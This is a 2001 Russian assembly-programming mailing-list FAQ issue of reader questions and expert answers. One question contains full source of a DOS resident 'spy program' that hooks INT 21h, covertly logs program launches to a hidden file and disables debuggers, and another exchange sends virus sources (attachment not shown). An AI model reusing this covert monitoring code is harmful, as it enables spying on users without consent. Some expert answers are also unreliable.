Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Ассемблер? Это просто! Учимся программировать (FAQ)


Служба Рассылок Subscribe.Ru проекта Citycat.Ru

Ассемблер? Это просто! Учимся программировать (FAQ)
______________________________________

Выпуск N 075

Вопросы, которые поступили от подписчиков рассылки
"Ассемблер? Это просто! Учимся программировать"

Дата выхода: 2001-08-28


Вопрос №666

Привет эксперты!
Кто-нить пользуется TheBat?
Если да то скажите почему при заполнении формы,
причем все поля нормально заполнены, не работает кнопка отправить.
В оутглюке все работает.
Помогите советом.

За сим прощаюсь, ZIPPER.

Ответ

Здравствуйте, Zipper!
Не страдай ты эти батом, В НИЗУ НАЙДИ ЗАКЛАДКУ 1
нажми на нее, выбери SHTML файл и кликни по нему 2 раза, на просьбу нажми второе, и провь все в браузере


Отправил эксперт: VD (www.chat.ru/~vdragon_pas/index.htm - Программирование графики на Пакаль со вставками на)
Эксперт отправил ответов (всего): 44

Экспертная группа: Пользовательская работа с Windows

Вопрос №648

Во-во эксперт Orlando вы наверно правы. Не подскажите как поставить и прописать эти драйвера, отвечающие за русскую раскладку
в ДОСЕ.

Ответ

Здравствуйте, Speedy Gonsalez!
Качаешь например гденибудь со старого софтового компакта файл ала RK.COM или еще какой русификатор, запускаешь его, и юзаешь на здоровье. Вообще с досом тебе стоит еще подучиться.

Если все в лом то прописываешь его в AUTOEXEC.BAT, он автоматом грузиться, и потом работает и в сесиях ДОС и в режиме эмуляции и ...


Отправил эксперт: VD (www.chat.ru/~vdragon_pas/index.htm - Программирование графики на Пакаль со вставками на)
Эксперт отправил ответов (всего): 46

Экспертная группа: Пользовательская работа c DOS

Вопрос №664

Дизассемблирую програмку TurboDebagerom.Сразу первые строки:
mov ax,03B7
mov dx,01FF
add ax,21FB
cmp ax,[0002]
jnb 0129
......
По адресу 0129 вывод сообщения: "Нет достаточно памяти"
в ячейке 0002 число 9FD6.
Вопрос: как же тут все-таки вычисляется доступная память, откуда берется это 9FD6?

Ответ

Здравствуйте, Валик!
А чё за прога то собственно. Пришли - подскажу. limansky@tut.by.


Отправил эксперт: Painbringer
Эксперт отправил ответов (всего): 66

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №657

Не подскажите как сделать так, чтобы во время запуска MSDOS
в COMMAND Prompt или после перезагруки в режиме MSDOS, сразу же автоматически открывалась какая-либо Досовская оболочка (NC, VC, DN)?

Ответ

Здравствуйте, Speedy Gonsalez!
На счет команд промпта не знаю а при выходе в эмуляцию есть такая чача - dosstart.bat в мастайском каталоге лежит. Туда и пихай.
А вообще раз у тебя возникают такие вопросы, можешь создать меню в config.sys. См. приложение

Приложение:


Отправил эксперт: Painbringer
Эксперт отправил ответов (всего): 67

Экспертная группа: Пользовательская работа c DOS

Вопрос №665

Уважаемые эксперты я бы хотел чтобы вы прокоментировали как можно подробние эту программу.
; === Начало программы: ===
.286
cseg segment
assume cs:cseg, ds:cseg, ss:cseg, es:cseg
org 100h

Begin:
jmp Init ; на метку инициализации

; === Обработчик 21h-ого прерывания ===
Int_21h_proc proc
cmp ax,9889h
jne Next_step

xchg ah,al
iret

Next_step:
pusha ;Сохраним регистры...
push ds
push es

mov bx,ds ;BX=DS

push cs ;Настроим сегментные регистры
push cs
pop es
pop ds

cmp ax,4B00h ;Это запуск файла на выполнение?
je Start_f

jmp short Go_21h ;Если что-то другое, то передадим управление 21h-ому...

Start_f:
mov si,offset Start_filemess ;Строка для записи в наш log-файл.
call Move_string ;Готовим строку и записываем ее в файл...
jmp short Go_21h ;Передадим управление 21h-ому прерыванию...

Go_21h:
pop es ;Восстановим регистры...
pop ds
popa

jmp dword ptr cs:[0FCh] ;Передаем управление 21h-ому
Int_21h_proc endp

;=== Переносим строку и пишем информацию в файл ===
Move_string proc
mov di,2 ;DS:SI указывают на строку
;ES:DI - на место в памяти, где будет формироваться строка...
lodsw ;Получим длину строки (первый байт строки)
mov cx,ax ;Длину строки в CX
rep movsb ;Переместили строку по адресу ES:DI (Текущий сегмент:0002h)

push ds
mov ds,bx ;DS указывает на сегмент, где находится имя файла
mov si,dx ;SI - на смещение

Next_char:
lodsb ;Получаем очередной символ
or al,al ;Это конец строки с именем файла? Проверка на 0...
jz Zero_found
stosb ;Если еще не конец - заносим его в нашу формирующуюся строку
jmp short Next_char ;Следующий символ...

Zero_found:
pop ds ;Имя файла перенесли! Восстановим DS.

mov ax,0A0Dh ;Добавим возврат каретки/перевод строки.
stosw

dec di
dec di
mov word ptr cs:[0],di ;Занесем по 0-ому смещению длину готовой строки

call Save_file ;Запишем готовую строку в наш log-файл...

ret
Move_string endp


;=== Пишем в файл ===
Save_file proc
call Check_file ;Проверим, существует ли наш log-файл или нет...

mov al,02h ;Открываем файл для чтения/записи
call Open_file

mov ax,4202h ;Устанавливаем указатель на конец файла
xor cx,cx
xor dx,dx
int 3

mov ah,40h ;Функция записи в файл
mov cx,cs:[0] ;Количество записываемых байт
mov dx,2 ;Откуда будем писАть (DS:DX)
int 3

call Close_file ;Закрываем файл...

ret
Save_file endp

;=== Проверяем: существует ли нужный файл ===
Check_file proc
xor al,al ;Пробуем открыть наш log-файл
call Open_file
jnc File_exists ;Если файл существует, то на метку File_exists

; === Атрибуты файла ===
;00001 - только чтение
;00010 - спрятанный
;00100 - системный
;01000 - метка тома
;010000 - подкаталог
;100000 - архивный
mov ah,3Ch ;Если файл не существует, то создадим его.
mov cx,00010b ;Атрибут: архивный, спрятанный
mov dx,offset File_name ;DS:DX указывают на имя файла
int 3
jc Error_create ;Ошибка?..
mov Handle,ax ;Если успешно создали, то запомним номер файла

File_exists:
call Close_file ;Закрываем файл...

Error_create:
ret

File_name db 'C:\gurnal.txt',0 ;Наш log-файл
Check_file endp

;=== Открытие файла ===
Open_file proc
mov dx,offset File_name
mov ah,3Dh
int 3
jc Error_open

mov bx,ax
mov Handle,ax

Error_open:
ret
Handle dw 0FFFFh
Open_file endp

;=== Закрытие файла ===
Close_file proc
pusha
pushf
cmp Handle,0FFFFh ;Нечего закрывать?..
je No_close

mov ah,3Eh
mov bx,Handle
int 3
mov Handle,0FFFFh ;Закрываем и отмечаем, что нет открытых файлов...

No_close:
popa
popf
ret
Close_file endp

;--- Сообщения резидента ---
Start_filemess dw Start_filemessl
db 'Запуск файла ---> '
Start_filemessl equ $-Start_filemess-2

; === Инициализация (подготовка и настройка резидента) ===
Init:
mov ax,9889h ;проверим, в памяти ли мы уже или еще нет
int 21h
cmp ax,8998h
jne Set_resident

mov ah,9 ;если в памяти, то выведем соответствующее сообщение
mov dx,offset In_memory
int 21h

ret ;...и вернемся в DOS

Set_resident: ;если нас в памяти нет, то установим наш резидент
; 21h-ое...
mov ax,3521h
int 21h ;получим и сохраним адрес (вектор) 21h прерывания
mov word ptr cs:[0FCh],bx
mov word ptr cs:[0FEh],es

mov ax,es ;Установим старый вектор 21h-прерывания на 3...
push 0 ;(вырубим отладчик)
pop es
mov es:[3*4],bx
mov es:[3*4+2],ax

mov ax,2521h
mov dx,offset Int_21h_proc
int 3 ;"повесим" нашу процедуру на 21h прерывание

call Check_file ;А есть ли наш log-файл?

mov ah,9
mov dx,offset Mess_hello
int 21h

mov dx,offset Init
int 27h ;оставим программу резидентной в памяти.

In_memory db 'Программа-шпион уже есть в памяти$'

Mess_hello db 'Программа-шпион загружена в память$'

cseg ends
end Begin

И если не сложно сделауте так чтоб в текстовый файл "журнал" записовалась еще и время/дата запускаемого файла.

Ответ

NO COMMENTS...


Отправил эксперт: Broken Sword (http://www.revolution.co.uk - скрытая реклама...)
Эксперт отправил ответов (всего): 98

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №667

Пишу на паскале, но в особо узких местах пытаюсь переоптимизировать код встроенным асмом. Все отлично,
только вот незадача:
пытаюсь заменить код Tmp:=Sum div bb {Tmp,bb - byte; Sum:Word) на такое
Asm
mov bl,bb
mov ax,Sum
div bl
mov Tmp,al
end;
В результате прога просто отваливается
Если есть идеи - с радостью рассмотрю и попробую
P.S. Прога компилится для защищенного ДОС-режима.
Спасибо

Ответ

Евгений! Дело может быть вот в чем:
Убедитесь в наличии следующих строк (в начале проги на паскале):
Sum: longint
Tmp: int
в самом куске на асме я ошибок не вижу, а если sum объявлен как int, тода понятное дело, слово в байт никак не влезет!
если не поможет, поробуйте сохранять регистры.


Отправил эксперт: Broken Sword (http://www.revolution.co.uk - скрытая реклама...)
Эксперт отправил ответов (всего): 99

Экспертная группа: Оптимизация программ

Вопрос №668

Долго выбирал подгруппу - решил сюда
М.б. кто знает - как можно прочитать серийный номер процессора?
Спасибо.
P.S. Если, кто из читателей рассылки смогет, что подсказать - плиз pilot@yrg.kuzbass.net

Ответ

Евгений! ж) на самом деле. если процессор - какой-нить Celeron или меньше, (я имею ввиду ниже PII), то НИКАК! (только открутить вентилятор и посмотреть че там в малайзии на него напаяли), если это PII (не Celeron повторяю!!!) и выше, то при загрузке, после определения тактовой частоты должна быть строка типа S/N (по крайней мере на фирменных 100% такая строка выводиться) Intel специально ввела эту фичу именно начиная с PII, чтобы ее типа не подделывали. (интересно, как можно подделать процессор???), и еще на наклейке на вентиляторе на таких процах тоже ОБЯЗАТЕЛЬНО (на голограммке) дублируется это самый S/N


Отправил эксперт: Broken Sword (http://www.revolution.co.uk - скрытая реклама...)
Эксперт отправил ответов (всего): 100

Экспертная группа: Модели, виды и типы компьютеров (hard)

Вопрос №670

Подскажите пожалуйста, что делать. Не можем установить драйвер для видеокарты на материнке Intel 7120. (родные утеряны). Заходили туда на сайт там есть только 8110, которые не подходят. Раскрыли комп, а в середине видео отдельной платой не идет, вроде бы встроенная. Короче мы немного растерялись.

Ответ

Здравствуйте, Dron! Напишите Intel в службу тех.поддержки, займите там ребят, пусть поищут и вышлют, там за бугром такие вещи просто обажают!!! (проверено, дрова на старую звуковуху были через 10 минут высланы). В инете если хорошо поискать, то конечно тоже можна найти (наверно, затем и задавали то вопросик... :) ), но мне честно в облом. Если уж ничего не помогает, ничего не найдено и никто не высылает дров, тода самый крайний шаг - пойти в любой комп. магазин, где эти самые материнки еще могут теоретичиски продаваться, там за N-ную сумму перекатать их никаких проблем нету. Да и не мне вам рассказывать...


Отправил эксперт: Broken Sword (http://www.revolution.co.uk - скрытая реклама...)
Эксперт отправил ответов (всего): 101

Экспертная группа: Пользовательская работа с Windows

Вопрос №646

НЕ ДЛЯ ВВОДА В РАССЫЛКУ
Для эксперта BROKEN SWORD – по просьбе
(в продолжение № 634)
УВАЖАЕМЫЙ BROKEN SWORD
Я еще и не выходил из того кошмара, в который так опрометчиво влетел. Масштабы потерь превышают все разумные пределы. Судите сами – почти 300 мегов. Конечно, это не одна папка. И в каждой из них куча других. А в них…. Да что говорить?! Дерево, оно и в Африке дерево.
Какие-то копии есть. Но они мало что весят. А то, что должно было переписаться - по стечению обстоятельств, не переписалось. Вот так сложилось.
Конечно, не в Temp’е WINDOWS они хранились, и удалялись они не из окна винта, а из панели инструментов. Не сразу сообразил, что происходит. Только когда диск заурчал, понял, что идет удаление не ярлыков, а непосредственно содержимого. Вот тут-то меня и стукнуло.
Хочется заинкнуться вот о чем. Еще на заре обучения у меня был вопрос, почему корзина не рассчитана на хранение значительно большего объема информации? Мало ли что попадет в нее по недомыслию, неосторожности, скоропалительности. Короче, накаркал в свое время.
В общем, не понял, не заметил, когда подмахнул подтверждение на безвозвратное удаление. Да и было ли оно?
Что до вирусов, то пока их не было, и нет.
Не знаю, как, но ВЫТАСКИВАТЬ, что бы то ни было НАДО. Ну, осталось же еще на диске хоть что-то живое!
Прислали мне rar Tiramisu. Но так от пережитого трещит башка, что мало что соображаю. Извлек файлы. Дальше нужно эту программку инсталлировать, а потом и запускать. Но боюсь сделать что-то не так. Пока боюсь.
Вот такие дела. С уважением, Николай.

Ответ

Здравствуйте, Николай!

Вот маленькая программа (написаная на Паскале), которая позволит сохранить всю информацию (которая была стёрта, тоесть находиться на диске в незанятых другими файлами месте) с определенного диска в один файл.
Тоесть, если файлы были фотмата типа txt, pas, asm, c ... (тоесть текстого формата), то их будет достаточно легко выдрать. Если файлы в каком нибудь не текстовом формате типа doc, xls, dbf, ... то их будет тяжело востановить соответствующим способом.
После применения проги обратного пути на будет.

P.S. Кстати чем меньше работаеш с диском с которого удалена информация, тем больше вероятность их потом востановить.
Удачи!



Приложение:


Отправил эксперт: Dika (http://www.ufgo.kar.net/ - Украинская Федерация Го)
Эксперт отправил ответов (всего): 1

Экспертная группа: Пользовательская работа с Windows

Вопрос №667

Пишу на паскале, но в особо узких местах пытаюсь переоптимизировать код встроенным асмом. Все отлично,
только вот незадача:
пытаюсь заменить код Tmp:=Sum div bb {Tmp,bb - byte; Sum:Word) на такое
Asm
mov bl,bb
mov ax,Sum
div bl
mov Tmp,al
end;
В результате прога просто отваливается
Если есть идеи - с радостью рассмотрю и попробую
P.S. Прога компилится для защищенного ДОС-режима.
Спасибо

Ответ

Здравствуйте, Евгений!

Попробуй заменить регистр bl на cl.
Если куски идут на Паскале и куски на Асме, то регистр регистр ebx может использоваться компилятором изменения которого влечет последствия типа crush. Регистры eax, ecx, edx (соответсвенно и ax, cx, ...) используй наздоровье и только эти, остальные надо сохранять в стэк.


Отправил эксперт: Dika (http://www.ufgo.kar.net/ - Украинская Федерация Го)
Эксперт отправил ответов (всего): 2

Экспертная группа: Оптимизация программ

Вопрос №672

Специально для Broken Sword по поводу 667 вопроса - там четко написано - {Tmp,bb - byte; Sum:Word}
И по поводу ответа (честно - просто бред какой-то):
"Sum: longint
Tmp: int"
т.е. предлагается sum делать 32битным, а tmp - 16-и?
зачем? (если не секрет)
P.S. Если Олег читает, то предлагаю ему при рассылки ответов от экспертов непосредственно задавшим вопрос добавлять мыло эксперта. Надеюсь, что понятно почему из самого факта существования этого сообщения.

Ответ

на самом деле ошибка: sum: int, bb:byte, а В КУСКЕ АСМА ОШИБОК НЕТ!!! (у тебя уже...)


Отправил эксперт: Broken Sword (http://www.revolution.co.uk - скрытая реклама...)
Эксперт отправил ответов (всего): 102

Экспертная группа: Оптимизация программ

Вопрос №672

Специально для Broken Sword по поводу 667 вопроса - там четко написано - {Tmp,bb - byte; Sum:Word}
И по поводу ответа (честно - просто бред какой-то):
"Sum: longint
Tmp: int"
т.е. предлагается sum делать 32битным, а tmp - 16-и?
зачем? (если не секрет)
P.S. Если Олег читает, то предлагаю ему при рассылки ответов от экспертов непосредственно задавшим вопрос добавлять мыло эксперта. Надеюсь, что понятно почему из самого факта существования этого сообщения.

Ответ

и ничего ужасного в этом нет... ;(


Отправил эксперт: Broken Sword (http://www.revolution.co.uk - скрытая реклама...)
Эксперт отправил ответов (всего): 103

Экспертная группа: Оптимизация программ

Вопрос №639

Ув. эксперт ЕвГЕНИЙ! Если Вас не завуднит,
вышлите плз исходники виря под винду и ещЈ если
можно несколько исходников ОЧЕНЬ простых програм.
заранее благлдарен. aili.
з.Ы.: у кого есть поделитесь линками по асму для
win32. эт на разогрев - http://www.reversing.net/
з.з.Ы.: не видел ли кто, книги Зубкова по асму
в ЭЛЕКТРОННОМ ВАРИАНТЕ.

Ответ

Здравствуйте, aili!
Лови зверя!

Приложение:


Отправил эксперт: Евгений
Эксперт отправил ответов (всего): 13

Экспертная группа: Общие вопросы по программированию на Ассемблере под Win32

Вопрос №671

Ну точно надоел:
Еще вопрос: Как правильно вычитать 32bit переменные? Что-то подобное было в рассылке, но я не совсем понял. Оссобенно меня волнует вычитаение когда младшее слово вычитаемого больше источника.
Спасибо еще раз.

Ответ

Здравствуйте, Евгений!
Пользуйся 32 битными регистрами.
Пример:
Надо вычесть var1 (dword) из var 2 (dword):

mov eax,[var2]
mov ebx,[var1]
sub eax,ebx ; eax = разность



Отправил эксперт: Евгений
Эксперт отправил ответов (всего): 15

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №654

Hi,!
В Builder'e (среда объектно-ориентированной разработки win приложений)
имеется asm вставка стоит воспользоваться прерыванием как вылетает
с ошибкой на строке int interrupt, что же использовать вместо прерывания?
Andrei.

Ответ

Здравствуйте, Andrei!
В Windows вы не имеете право использовать прерываний. Вместо них на третьем кольце защиты (на котором и находится скорее всего ваша прога)
используются API функции (см. win32 programmers referencе) Из вышесказанного ясно, что использование ассемблера в этом случае не увеличит быстродействие ваших программ, т.к. из языка выского уровня вы обращаетесь с API и из ассемблера также.
прямой Доступ к железу на третьем кольце защиты запрещен.
пиши если чо:
e-mail: codebuilder@chat.ru
ICQ 45249044


Отправил эксперт: Евгений
Эксперт отправил ответов (всего): 16

Экспертная группа: Общие вопросы по программированию на Ассемблере под Win32

Вопрос №654

Hi,!
В Builder'e (среда объектно-ориентированной разработки win приложений)
имеется asm вставка стоит воспользоваться прерыванием как вылетает
с ошибкой на строке int interrupt, что же использовать вместо прерывания?
Andrei.

Ответ

Здравствуйте, Andrei!
В Windows вы не имеете право использовать прерываний. Вместо них на третьем кольце защиты (на котором и находится скорее всего ваша прога)
используются API функции (см. win32 programmers referencе) Из вышесказанного ясно, что использование ассемблера в этом случае не увеличит быстродействие ваших программ, т.к. из языка выского уровня вы обращаетесь с API и из ассемблера также.
прямой Доступ к железу на третьем кольце защиты запрещен.
пиши если чо:
e-mail: codebuilder@chat.ru
ICQ 45249044


Отправил эксперт: Евгений
Эксперт отправил ответов (всего): 17

Экспертная группа: Общие вопросы по программированию на Ассемблере под Win32

Вопрос №671

Ну точно надоел:
Еще вопрос: Как правильно вычитать 32bit переменные? Что-то подобное было в рассылке, но я не совсем понял. Оссобенно меня волнует вычитаение когда младшее слово вычитаемого больше источника.
Спасибо еще раз.

Ответ

Здравствуйте, Евгений!

Если ты не планируешь использовать 32-х битные регистры, то действовать надо так:

dx:ax - bx:cx

sub ax, cx
sbb dx, bx


Отправил эксперт: Dron (http://spawnhole.narod.ru/asmos/asmos.html - Операционная система с нуля!)
Эксперт отправил ответов (всего): 79

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №688

Здраствуй эксперт!
Почему сегмент начинается с пораграфа (16-ти байтная величина)?

Ответ

Здравствуйте, Alex!
Так как это очень выгодно, вот смотри:
допустим сегмент начинается не с параграфа, тогда пришлось бы добавлять еще один разряд, т.к. если мы смотрим на адрес сегмента, допустим он равен 556fh, но по-настоящему этот адрес равен 556f0h, т.е. если он начинается с параграфа, то он делится на 16, а значит в адресе последним всегда будет 0, чем и воспользовались производители процессоров и убрали ненужный 0.


Отправил эксперт: Orlando
Эксперт отправил ответов (всего): 45

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №688

Здраствуй эксперт!
Почему сегмент начинается с пораграфа (16-ти байтная величина)?

Ответ

Здравствуйте, Alex!

Так уж повелось... :)

на старых интелях (8086) был мегабайт памяти максимум и 16-битные регистры.
чтобы адресовать мегабайт - надо 20 бит адреса, так оно и было собственно. но регистры то 16-битные... для этого и ввели сегментные регистры, которые показывают старшие 16 бит адреса... младшие 4 бита определяются смещением, но елси взять нулевое смещение, то адрес в памяти равен сегментному регистру, к которому справа дописано 4 двоичных нуля... (ясно излагаю?) дык вот, то есть сегментные регистры могут указывать на память с интервалом в 16 байт. вот эти 16 байт и назвали параграфами.


Отправил эксперт: Dron (http://spawnhole.narod.ru/asmos/asmos.html - Операционная система с нуля!)
Эксперт отправил ответов (всего): 80

Экспертная группа: Общие вопросы по программированию на Ассемблере под DOS

Вопрос №667

Пишу на паскале, но в особо узких местах пытаюсь переоптимизировать код встроенным асмом. Все отлично,
только вот незадача:
пытаюсь заменить код Tmp:=Sum div bb {Tmp,bb - byte; Sum:Word) на такое
Asm
mov bl,bb
mov ax,Sum
div bl
mov Tmp,al
end;
В результате прога просто отваливается
Если есть идеи - с радостью рассмотрю и попробую
P.S. Прога компилится для защищенного ДОС-режима.
Спасибо

Ответ

Здравствуйте, Евгений!

Может быть результат деления не влезает в байт??? в этом случае программа вывалится. проверь что ты считаешь.


Отправил эксперт: Dron (http://spawnhole.narod.ru/asmos/asmos.html - Операционная система с нуля!)
Эксперт отправил ответов (всего): 81

Экспертная группа: Оптимизация программ

Подписаться на рассылки

Рассылки Subscribe.Ru
Ассемблер? Это просто! Учимся программировать
Ассемблер? Это просто! Учимся программировать (FAQ)

Форма подачи вопроса

ВНИМАНИЕ!!! Пожалуйста, НЕ высылайте один вопрос сразу нескольким подгруппам! Дополнения к вопросам, на которые эксперт уже ответил НЕ следует направлять ведущему рассылки (я не успеваю!). Просто скомбинируйте первый вопрос и дополнение к нему, а затем заново отправьте его, используя приведенную ниже форму!

Нажимайте кнопку "Отправить" только ОДИН раз и дождитесь полной загрузки страницы, иначе вопрос будет продублирован!


Ваше имя *:

Ваш e-mail *:

Подгруппы:

Вопрос *:

Прилагаемая программа (если необходимо):


Регистрация в качестве эксперта

Архив выпусков


Ведущий рассылки,

Калашников Олег: Assembler@Kalashnikoff.ru
ICQ No.:
68951340
URL сайта подписчиков: http://www.Kalashnikoff.ru

______________

По вопросам сотрудничества, рекламы и спонсорства обращайтесь:

  1. Публичное размещение материала из рассылки: Cooperation@Kalashnikoff.ru
  2. Реклама на сайте, в книге и рассылках: http://www.Kalashnikoff.ru/Reklama.html, Reklama@Kalashnikoff.ru
  3. Издание книги (спонсорство): Sponsor@Kalashnikoff.ru

Рассылка 'Ассемблер? Это просто! Учимся программировать (FAQ)' Рассылка 'Ассемблер? Это просто! Учимся программировать'


(C) Москва, 2001. Авторское право принадлежит Калашникову О.А. Публичное размещение материала из рассылки, а также его использование полностью или частично в коммерческих или иных подобных целях без письменного согласия автора влечет ответственность за нарушение авторских прав.


http://subscribe.ru/
E-mail: ask@subscribe.ru
Отписаться
Убрать рекламу
Рейтингуется SpyLog

В избранное